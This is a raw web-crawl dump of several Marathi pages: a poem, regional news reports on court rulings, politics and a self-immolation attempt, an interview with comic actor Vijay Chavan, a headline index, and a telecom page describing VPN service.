वाटेवर चालताना जुन्या चांगल्या गोष्टी, नाती, विसरता कामा नये. बरेचदा आपण हेच करतो. आणि जुन्या विस्मरणात गेलेल्या गोष्टी नंतर thrill म्हणून करतो. भाकरी खायला नाक मुरडून “आमच्या इथे चुलीवरचं पिठलं भाकरी /मटण भाकरी, मिळेल अशी पाटी वाचून तिथे गर्दी करतो. अर्थात यात गैर काही नाही पण प्रत्यक्ष अनुभव घेता येणेही सहज शक्‍य आहे हा उद्देश. भीमथडीच्या यात्रेतही खूप पालक आपल्या मुलांना महाराष्ट्रातल्या ग्रामजीवनाची ओळख करून देत असतात. मातीचा गोडवा असतोच असा\nओढ लावते माती अनं\nअजून “भोवरा’ जिवाचा, नात्यांच्या तळ्यात होतो\nओढ लावते माती अन\nअजून “भोवरा’ जीवाचा, नात्यांच्या तळ्यात होता\nथकलेले हात फिरता गालावर\nअजून ताजी आठवाची फुले\nअन ओळखीचीच ही “इमानी रानधूळ….\n– अमिता अशोक पाटील\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleगोव्यात प्रियकरासमोरच तरुणीवर सामूहिक बलात्कार\nNext articleवाकसई देवघर ग्रुप ग्रामपंचायतीच्या वतीने विविध विकासकामांना प्रारंभ\nआंजर्ले : एक निसर्गरम्य ठिकाण\nफुटबॉलमधली अनोखी “#मी टू’ चळवळ\n४ कॅमेरे असणाऱ्या ‘या’ फोनवर मिळतोय १००० रुपये डिस्काउंट\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00378.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B5%E0%A4%82%E0%A4%9C%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%B8%E0%A5%81%E0%A4%9F%E0%A4%95%E0%A5%87%E0%A4%B5%E0%A4%B0-%E0%A4%B9%E0%A4%BE%E0%A4%AF%E0%A4%95/", "date_download": "2018-09-25T17:13:07Z", "digest": "sha1:46DOXLVKFK74K6JEYTCK2VCWZ6N2ONXR", "length": 7904, "nlines": 138, "source_domain": "www.dainikprabhat.com", "title": "वंजारांच्या सुटकेवर हायकोर्टाचे शिक्कामोर्तब | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nवंजारांच्या सुटकेवर हायकोर्टाचे शिक्कामोर्तब\nसोहराबुद्दीन बनावट चकमक प्रकरण\nमुंबई: सोहराबुद्दीन बनावट चकमक प्रकरणात गुजरात एटीएसचे माजी प्रमुख डी. जी. वंजारा आणि अन्य चार पोलिस अधिकाऱ्यांना वगळण्याच्या ट्रायल कोर्टाच्या निर्णयावर मुंबई उच्च न्यायालयाने शिक्कामोर्तब केले आहे. वंजारा आणि अन्य चार पोलिस अधिकाऱ्यांना खटल्यातून वगळण्याच्या निर्णयाला आव्हान देणाऱ्या अर्जातील मुद्‌द्‌यांमध्ये काही तथ्य दिसत नाही असे नमूद करीत हायकोर्टाने त्यांना हा दिलासा दिला आहे. या प्रकरणातील सहआरोपी विपुल आगरवाल यांनाही वगळण्याचा आदेश हायकोर्टाने दिला आहे. त्यांना असा दिलासा ट्रायल कोर्टाने मात्र दिला नव्हता.\nया खटल्यातून जे अन्य पोलिस अधिकारी वगळले गेले आहेत त्यात गुजरात पोलिस दलाचे राजकुमार पंडियन, एन. के. अमिन आणि राजस्थान पोलिस दलाचे एम.एन. दिनेश आणि दलपतसिंह राठोड यांचा समावेश आहे. दिनेश, पंडियन, आणि वंजारा यांना या खटल्यातून वगळण्याच्या ट्रायल कोर्टाच्या निर्णयाला सोहराबुद्दीन याचा भाऊ रबाउद्दीन याने आव्हान दिले होते. अन्य दोन जणांच्या संबंधात सीबीआयने याचिका दाखल केली होती. सोहराबुद्दीन, त्याची पत्नी कौसर बी आणि प्रजापती या तीन जणांच्या हत्या प्रकरणात एकूण 33 जणांच्या विरोधात सीबीआयने आरोपपत्र दाखल केले आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleविरोधकांची जबाबदारी आत्तापर्यंत आम्हीच खांद्यावर घेतली: शिवसेना\nNext articleजडेजाला केवळ पाचव्या सामन्यात घेतल्याने बचावलो\nमोदींनी विमानातून काढलेले ‘फोटो’ पाहिलेत का\nआधी शेतकऱ्यांचे प्रश्न सोडवा ; जपानने मोदींचा ड्रीम प्रोजेक्ट रोखला\nजम्मू काश्मीर – बारामुल्लामध्ये चकमक, दोन दहशतवादी ठार\nपंतप्रधान नरेंद्र मोदी यांना शांततेचा नोबेल मिळणार \nराहुल गांधी चोर असून त्यांचा संपूर्ण परिवार कमिशनवर जिवंत – रविशंकर प्रसाद\nभाजपच्या ‘कार्यकर्ता महाकुंभ’ला दिग्गज नेत्यांची हजेरी ; काँग्रेसवर हल्लाबोल\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00378.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B8%E0%A4%BE%E0%A4%A4%E0%A4%BE%E0%A4%B0%E0%A4%BE-%E0%A4%AD%E0%A4%BE%E0%A4%9C%E0%A4%AA%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A5%87-%E0%A4%9C%E0%A4%BE%E0%A4%A3%E0%A4%BE%E0%A4%B1%E0%A5%8D/", "date_download": "2018-09-25T17:10:57Z", "digest": "sha1:5L542HKQMHBB4SY5NLKKMIGBJUI4QCK4", "length": 9788, "nlines": 139, "source_domain": "www.dainikprabhat.com", "title": "सातारा: भाजपमध्ये जाणाऱ्यांना जनता माफ करणार नाही | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nसातारा: भाजपमध्ये जाणाऱ्यांना जनता माफ करणार नाही\nआनंदराव पाटील यांची टीका\nसातारा- आघाडी सरकारच्या कालावधीत सत्ता भोगल्यानंतर आता व्यक्तीगत फायद्यासाठी ते भाजपमध्ये जाणार असतील तर त्यांचा आम्ही निषेध करूच त्याचबरोबर जनता देखील त्यांना कदापि माफ करणार नाही, अशी टीका कॉंग्रेसचे जिल्हाध्यक्ष आ.आनंदराव पाटील यांनी भाजपच्या वाटेवर असलेल्या खासदार व आमदारांवर केली.\nजिल्हा कॉंग्रेस कमिटीत आयोजित पत्रकार परिषदेत ते बोलत होते. त्यावेळी रजनी पवार, धनश्री महाडिक, रविंद्र झुटींग आदी.पदाधिकारी उपस्थित होते. यावेळी आ.पाटील यांनी कर्नाटक निवडणूकीच्या निकालानंतर भाजपच्या वाटेवर असलेल्या आमदारांसाठी एक संदेश सोशल मिडीयावर व्हायरल झाला असल्याचा उल्लेख केला. त्यावर भाजप जिल्हाध्यक्षांनी केलेल्या दाव्यानुसार जिल्ह्यातील आमदार भाजपच्या वाटेवर असल्याचे निदर्शनास आणून देण्यात आले. त्यावेळी त्यांनी टिका केली. पुढे त्यांनी भाजपच्या वाटेवर असलेले राष्ट्रवादीचे विधानपरिषदेचे आ.नरेंद्र पाटील यांच्यावर कडाडून टिका केली. ते म्हणाले, आज पाटण तालुक्‍यातील आ.नरेंद्र पाटील यांच्याकडून मुंद्रुळकोळेची ग्रामपंचायत आमच्या पक्षाचे हिंदुराव पाटील यांनी ताब्यात घेतली आहे. खरे तर पाटण तालुक्‍यात राष्ट्रवादीचे तत्कालिन आमदार विक्रमसिंह पाटणकर यांना बळ मिळावे या हेतूने राष्ट्रवादीने नरेंद्र पाटील यांना आमदार केले होते. मात्र, त्यांच्या आमदार होण्याने उलट पाटणमधील आमदारांचा पराभव झाला. आता तर ते माथाडी कामगारांचे प्रश्न सोडविण्याच्या नावाखाली आता भाजपमध्ये जावू पाहत आहेत, अशी टिका आ.पाटील यांनी केली. साताऱ्यात आयोजित राजधानी महोत्सवासाठी आपल्याला निमंत्रण होते मात्र काही कामामुळे येवू शकलो नाही, असे स्पष्टीकरण त्यांनी दिले.\nमेडीकल कॉलेजसाठी आवाज उठविणार\nमाजी मुख्यमंत्री पृथ्वीराज चव्हाण यांनी कराडसह जिल्ह्यात अनेक ठीकाणी विकासकामांसाठी मोठ्या प्रमाणात निधी दिला. मात्र, साताऱ्यातील मेडीकल कॉलेज जागेच्या कारणामुळे होवू शकले नाही. विद्यमान मुख्यमंत्री देवेंद्र फडणवीस यांनी मेडीकल कॉलेजचा प्रश्न मार्गी लावण्याचे आश्वासन दिले होते. त्या आश्वासनाची आठवण करून देण्यासाठी येत्या अधिवेशनात विधानपरिषदेत आवाज उठविणार आहे, असे आ.पाटील यांनी सांगितले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nNext articleकुमारस्वामी काँग्रेसच्या एटीएमचे ‘चीफ मॅनेजर’- भाजपा\n‘खासदार उदयनराजे सोडून इतर कोणताही उमेदवार द्यावा, आम्ही त्याला निवडून आणू’\nहॉकर्स संघटना करणार जेलभरो आंदोलन\nविविध घटनांमध्ये तिघांचा मृत्यू\nवृत्तपत्र विक्रेत्यांच्या आंदोलनास मराठी पत्रकार परिषदेचा पाठिंबा\nसाताऱ्यात ढोल-ताशा तर फलटणात डीजे, बहोत ना इन्साफी है…\nसातारच्या नेत्यांची बारामतीत खलबते\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00378.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%85%E0%A4%B9%E0%A4%B5%E0%A4%BE%E0%A4%B2/all/", "date_download": "2018-09-25T17:31:57Z", "digest": "sha1:VRBWPMCGNNESXDAIKCALCUHCC6IQ7WZ4", "length": 11853, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "अहवाल- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nNews18 Lokmat Impact : अखेर 'त्या' वादग्रस्त शार्पशूटरला हाकलले\nपांढरकवडा जंगलातल्या 'टी-वन' या वाघिणीला मारण्यासाठी वनविभागाने नियुक्ती केलेल्या वादग्रस्त शहाफत अली खान याला परत जाण्याचे आदेश केंद्रीय महिला आणि बाल विकास मंत्री मनेका गांधी यांनी दिले आहे.​\n2025 पर्यंत गमवाव्या लागणार सात कोटी नोकऱ्या तुमची नोकरी राहणार का सुरक्षित\nआंबेनळी अपघात प्रकरण: बचावलेल्या प्रकाश सावंत-देसाई यांची अखेर बदली\nKamla Mill Fire Update : आगीला हुक्का पार्लरच जबाबदार, तज्ज्ञांच्या समितीने ठेवला ठपका\nमराठा समाज आता थेट राजकारणात, दिवाळीतच स्थापन करणार नवा पक्ष\nमुंबई- पुणे एक्स्प्रेस महामार्गावरील टोलबंदी कायम\nमराठा आरक्षणाची 'प्रगती', मागासवर्गीय आयोगाने सादर केला पहिला अहवाल\nगणेशोत्सवाचं `मॅनेजमेंट’ : बाप्पांच्या मूर्तीसाठी 'अंधेरीच्या राजा'ची 44 वर्षांची ‘वेटिंग लिस्ट'\n'बैल हा धावणारा प्राणी आहे, की नाही\nमद्यधुंद तरुणाने विमानात महिलेच्या सीटवर केली लघुशंका\n'युनिफाॅर्म सिव्हील कोडची गरज नाही, मुलाचे लग्नाचे वय 18 वर्ष असावे'\nलोकसभेसोबत 13 राज्यांमध्ये विधानसभा निवडणुका घ्या, विधी आयोगाची शिफारस\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00379.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://amp.esakal.com/manoranjan/interview-vijay-chavhan-v-shantaram-lifetime-achievement-award-113189", "date_download": "2018-09-25T16:45:53Z", "digest": "sha1:OE45ACTEYLONTAWPIJCSDM3M6CBS3OXK", "length": 15197, "nlines": 63, "source_domain": "amp.esakal.com", "title": "interview of vijay chavhan for v shantaram lifetime achievement award ...हा तर विनोदाचा \"विजय' | eSakal", "raw_content": "\n...हा तर विनोदाचा \"विजय'\nचिन्मयी खरे | सोमवार, 30 एप्रिल 2018\nया वर्षीचा राज्यशासनातर्फे दिला जाणारा \"व्ही. शांताराम जीवन गौरव' पुरस्कार विनोदी अभिनेते विजय चव्हाण यांना जाहीर करण्यात आला आहे. त्यानिमित्ताने त्यांच्या कारकिर्दीविषयी त्यांच्याशी केलेली ही बातचीत -\nया वर्षीचा राज्यशासनातर्फे दिला जाणारा \"व्ही. शांताराम जीवन गौरव' पुरस्कार विनोदी अभिनेते विजय चव्हाण यांना जाहीर करण्यात आला आहे. त्यानिमित्ताने त्यांच्या कारकिर्दीविषयी त्यांच्याशी केलेली ही बातचीत -\nमला जेव्हा आपल्या राज्याचे सांस्कृतिक मंत्री विनोद तावडे यांचा फोन आला आणि त्यांनी फोनवर मला या वर्षीचा राज्य शासनातर्फे दिला जाणारा \"व्ही. शांताराम जीवनगौरव' पुरस्कार मला दिला जाणार आहे हे सांगितलं, तेव्हा मी दोन मिनिटे स्तब्ध झालो होतो. मला काहीच कळेना. एवढा मोठा पुरस्कार प्रत्येक कलाकाराला वाटतं की आपल्याला मिळावा, तो मला मिळाला याचा मला खूपच आनंद झालाय.\nहा पुरस्कार माझ्यासाठी खूप खास आहे. त्याचं कारण म्हणजे माझे वडील. पूर्वीच्या काळी गाणारे नट लागायचे. त्या वेळी पार्श्वगायक नव्हते. त्या वेळी माझे वडील राजकमल स्टुडिओमध्ये फायनल ऑडिशनसाठी गेले होते. त्यांच्याबरोबर अशोककुमार होते. त्या वेळी त्या स्पर्धेत अशोककुमार निवडून आले. माझ्या वडिलांची शांताराम बापूंबरोबर काम करण्याची इच्छा पूर्ण झाली नाही. मला जेव्हा हा व्ही. शांताराम यांच्याच नावे दिला जाणारा पुरस्कार मिळाला असं कळलं, तेव्हा मला या प्रसंगाची आठवण झाली.\nआमच्या घरात माझ्या वडिलांमुळे नाटकाचं, अभिनयाचं वातावरण तयार झालं होतं. लालबाग-परळ भागात जेवढ्या स्पर्धा व्हायच्या, त्या सगळ्यांमध्ये माझे वडील दिग्दर्शक किंवा मुख्य अभिनेता म्हणून काम करायचे. माझा सख्खा मामेभाऊ सुधीर सावंत याने \"दोस्ती' चित्रपटात आंधळ्याचं काम केलं होतं. त्यामुळे घरात आमच्या हे वातावरण होतंच. पण मला या दोघांची भयंकर चीड यायची. मी वडिलांना खूप बडबडायचो आणि तोंडाला रंग लावून स्टेजवर नाचताना, अभिनय करताना लाज नाही का वाटत असं विचारायचो. त्यांनी मला तेव्हा कानाखाली मारली होती. मला मारून मुटकून ते एकदा तालमीलाही घेऊन गेले. पण मी तिथे बसून झोपून गेलो. कॉलेजमध्ये असतानाही मला या सगळ्यात रस नव्हता. पण मी नकला खूप छान करायचो. माझं पाठांतर आणि स्मरणशक्ती खूप दांडगी होती. अजूनही तशीच आहे. मला आजही चित्रपटाची पटकथा दिग्दर्शकाने वाचून दाखवली की मी थेट जाऊन सीन करून येतो. मला पटकथा पाहावी लागत नाही.\nमी रूपारेल कॉलेजमध्ये होतो तेव्हा कॉलेजचा सुवर्णमहोत्सव होता आणि तेव्हाच आमच्या कॉलेजच्या मुख्याध्यापिका निवृत्त होणार होत्या. त्यामुळे सगळ्या स्पर्धांमध्ये भाग घ्यायचा, असं सगळ्यांनी ठरवलं होतं. मी ठरवलं होतं की मी नकला करणार. पण आमच्या सरांनी मला एकांकिका स्पर्धेची सगळी जबाबदारी तूच सांभाळ, असं सांगितलं. मी त्यांना म्हटलं, मी बाकी सगळं काम करेन; पण अभिनय नाही करणार. कॉलेजला खाली कॅंटीन आणि वर हॉल होता. मग वरून काही आणायला सांगितलं, की ते मी लगेच वर नेऊन द्यायचो. स्पर्धेच्या आदल्या दिवशी मी खाली कॅंटीनमध्ये बसलेलो असताना वरून जोरात आवाज आला आणि पाहतो तर काय; नाटकातल्या मुख्य अभिनेत्याचं काम करणारा मुलगा चक्कर येऊन पडला होता आणि रक्तबंबाळ झाला होता. मग आता हे काम करणार कोण तर माझं नाव कोणीतरी प्राचार्यांना सुचवलं. मग त्यांनी मला विनवण्या केल्यानंतर मी काम करायला तयार झालो. कारण त्यांच्याशिवाय दुसऱ्या कोणाचंही मी ऐकलं नसतं.\nनाटक सुरू झाल्यानंतर दोन-चार मिनिटांतच प्रेक्षागृहात हशा पिकला आणि ते पाहून मला हुरूप आला. त्या नाटकासाठी मला सर्वोत्कृष्ट अभिनेत्याचं पारितोषिकही मिळालं. पारितोषिक मिळाल्यामुळे आपण अभिनय क्षेत्रात काम करू, असं मला वाटायला लागलं. त्याविषयी गोडी निर्माण झाली. मग मी \"आविष्कार' या संस्थेत जायला लागलो. जयश्री गडकर यांनी मला एका गंभीर चित्रपटात घेतलं होतं. त्याचं नाव होतं \"अशी असावी सासू'. या चित्रपटात मला घेतल्यानंतर त्यांना पत्रकारांनी विचारलं की विजय विनोदी अभिनेता आहे; मग त्यांना या चित्रपटात का काम दिलं तेव्हा त्यांनी उत्तर दिलं की, \"सर्कसमधले जोकर असतात तसे विनोदी अभिनेते असतात. त्यांना सगळंच येत असतं. ते पडायचा, रडायचा सगळ्याचा अभिनय करू शकतात. त्यांना सगळं येतं.' या चित्रपटासाठी निळू फुले, पद्मा चव्हाण यांनी माझी पाठ थोपटली. असा माझा एकूण हळूहळू अभिनयाचा प्रवास सुरू झाला.\nत्या काळात लक्ष्मीकांत बेर्डे, अशोक सराफ, प्रशांत दामले आणि मी असे आम्ही चार विनोदी नेते होतो. पण आमच्यात स्पर्धा अशी कधीही नव्हती. लक्ष्या आणि मी तर खूपच चांगले दोस्त होतो. एकत्रही आम्ही बरंच काम केलं आहे. \"मोरूची मावशी' हे नाटक मी एका स्पर्धेत केलं होतं. त्यानंतर \"सुयोग'ने हे नाटक करायला घेतलं आणि मावशीची भूमिका लक्ष्याला ऑफर करण्यात आली. पण लक्ष्याने तिथं माझं नाव सुचवलं. त्यांनी माझे स्त्री-वेशातले फोटो पाहिले आणि लगेचच नाटकाची तालिम करायला सुरुवात केली. \"पछाडलेला' हा लक्ष्याचा शेवटचा चित्रपट. त्या चित्रपटातही मी आणि त्याने एकत्र काम केलं होतं. रोज रात्री चित्रीकरण संपल्यानंतर आम्ही आमच्या खोलीत गप्पा मारत बसायचो. लक्ष्या त्या शेवटच्या दिवसात माझ्याबरोबर होता. त्याची ही आठवण माझ्या कायम लक्षात राहील.\nइम्रान खान आश्वासनपूर्ती करू शकतील का\nपाकिस्तानच्या नव्या पंतप्रधानांनी देशाला उद्देशून दिलेल्या पहिल्या जाहीर अभिभाषणाचे त्यांच्या विरोधकांसह सर्वांनी स्वागतच केलेले आहे कारण...\nचिमूर तालुक्यातील दोन अंध विद्यार्थी करणार बॅटिंग\nचिमूर - क्रीकेट असोसिएशन फॉर दी ब्लाँइड ऑफ महाराष्ट्र व भारतिय अंधजन विकास व पुनर्वसन संस्था अमरावती यांच्या संयुक्त विद्यमाने विदर्भ स्तरीय अंध...\nगोकुळचे नाव देशात करायचे - महादेवराव महाडिक जिल्हा दूध संघ मल्टिस्टेट का करत आहात महाडिक - गोकुळ दूध संघाला सुरुवात...\nकऱ्हाड - गणेश विसर्जन मिरवणूक तब्बल पंधरा तासाने संपली\nकऱ्हाड - पारंपारिक वाद्याच्या निनादात अन गणपती बाप्पा मोरयाच्या गजरात कऱ्हाड येथील गणेश विसर्जन मिरवणूक तब्बल पंधरा तासाने संपली. काल सकाळी साडेदहाला...\nइंदापूर - पुणे जिल्हा क्रीडा परिषद, जिल्हा क्रीडा अधिकारी कार्यालय तसेच येथील कै. पै. रंगनाथ मारकड क्रीडा व युवक मंडळाच्या वतीने दि. २५...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00380.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/pandharpur-suicide-attempt-in-the-tehsil-premises/", "date_download": "2018-09-25T17:41:01Z", "digest": "sha1:VOTWOLXXN2AUEUY5WGBUTYB5LKSVX74K", "length": 6193, "nlines": 36, "source_domain": "www.pudhari.news", "title": " तहसील आवारातच आत्मदहनाचा प्रयत्न | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › तहसील आवारातच आत्मदहनाचा प्रयत्न\nतहसील आवारातच आत्मदहनाचा प्रयत्न\nकरकंबचे सहायक पोलिस निरीक्षक दीपक पाटील यांच्या विरोधात मुंबईतील आझाद मैदानावर उपोषणास बसलेले लोक गुन्हेगारी स्वरूपाचे असून त्यांच्यावर ‘मोक्का’अंतर्गत कारवाई करावी, अशी मागणी करीत करकंब येथील अलीम पठाण याने अंगावर रॉकेल ओतून पेटवून घेतले. सोमवारी (दि. 16) भरदुपारी येथील तहसील आवारात घडलेल्या या प्रकारामुळे चांगलाच गोंधळ उडाला.\nअलीम रतिलाल पठाण (रा.करकंब) असे पेटवून घेतलेल्या व्यक्तीला उपजिल्हा रुग्णालयात उपचारासाठी दाखल करण्यात आले आहे. अनेक दिवसांपासून करकंबचे वादग्रस्त सहायक पोलिस निरीक्षक दीपक पाटील सातत्याने हे मनमानी कारभार करून सर्वसामान्यांना वेठीस धरतात, त्रास देण्यासाठी खोटे गुन्हे दाखल करतात, अवैध धंद्यांना अभय देतात, असे आरोप करीत त्यांना निलंबित करावे या मागणीसाठी दादासाहेब चव्हाण (रा. पटवर्धन कुरोली) यांच्यासह पोपट कडलासकर (देवडे), महंमद पठाण (पेहे), अतुल भोसले आदींनी मुंबईत आझाद मैदानावर बेमुदत उपोषण सुरू केले आहे. या पार्श्‍वभूमिवर नुकतीच दीपक पाटील यांनी पत्रकार परिषद घेऊन आपली बाजू मांडण्याचा प्रयत्न केला होता.\nसोमवारी करकंब येथील अलीम पठाण यांच्यासह कांही लोक गंभीर गुन्हे दाखल असलेले लोकच मुंबईत जाऊन सहाय्यक पोलीस निरीक्षक पाटील यांच्या विरोधात उपोषणास बसले असून त्यांच्यावर मोक्का कायद्यांतर्गत कारवाई करावी, अशी मागणी करीत अलीम पठाण यांनी दुपारी 2.20 वाजण्याच्या सुमारास चक्क तहसील आवारात येऊन अंगावर रॉकेल ओतून स्वत:ला पेटवून घेतले.अंगावर ओतलेल्या रॉकेलने पेट घेतल्यानंतर भडका उडाला. त्यात भाजून अलीम पठाण याचा चेहरा, छाती आणि पोटावर मोठ्या जखमी झाल्या. जखमी पठाण यास वाहनातून पठाण यांना उपजिल्हा रूग्णालयात उपचारासाठी पाठविले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00380.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://mtnlmumbai.in/marathi/index.php/%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%B8%E0%A4%BE%E0%A4%AF%E0%A4%BF%E0%A4%95/%E0%A4%B5%E0%A5%8D%E0%A4%B9%E0%A5%8B%E0%A4%88%E0%A4%B8-%E0%A4%B8%E0%A5%8B%E0%A4%B2%E0%A5%8D%E0%A4%AF%E0%A5%82%E0%A4%B6%E0%A4%A8", "date_download": "2018-09-25T16:58:28Z", "digest": "sha1:6W7TA5EJAAUE3VBJGHGQP2ROT4EJRQEK", "length": 11681, "nlines": 154, "source_domain": "mtnlmumbai.in", "title": "व्होईस सोल्यूशन", "raw_content": "\nआमच्या विषयी |कॉरपॉरेट माहिती | बिल पहा आणि भरा |सेवा केंद्र | निविदा |\nजीएसएम प्रिमियम नंबर बिडिंग\nवेगवान एफटीटीएच व व्हीडीएसएल योजना\nस्तटिक आयपी/ आयपी पूल\nट्राय फॉरमेट ब्रॉडबैंड टेरिफ\nहाय रेंज व्हाय फ़ाय मॉडेम\nएफटीटीएच रेव्हन्यु शेअरींग पॉलीसी\nआयएसडीएन(पीआरआय / बीआरआय) सेवा\nएमएसआयटीएस डाटा सेंटर, चेन्नई\nयूनिवर्सल एक्सेस नंबर (युएएन)\nलैंडलाइन प्रिमियम नंबर बिडिंग\nजीएसएम प्रिमियम नंबर बिडिंग\nकिरकोळ विक्रेता स्टॉक खरेदी\nव्हर्चुअल खाजगी नेटवर्क (व्हीपीएन - व्हर्चुअल प्रायव्हेट नेटवर्क)\nनावावरुनच असे लक्षात येते की वास्तविक खाजगी नेटवर्क एक काल्पनिक नेटवर्क आहे. जे मुख्य नेटवर्कचा एक भाग आहे. उदा. - ही सेवा घेणारा ग्राहक घरामध्ये बसून आपणास ज्या व्यक्तीशी फोन वर बोलायचे आहे त्याच्या सहवासांत असल्याचा अनुभव घेतो. अशा प्रकारचे कनेक्शन जन नेटवर्कच्या माध्यमातून सक्रिय केली जातात. अशी व्हीपीएन सेवा, जन नेटवर्कची उपकरण वापरुन अर्जदारास खाजगी नेटवर्कची स्थापना करण्यास मदत करते. 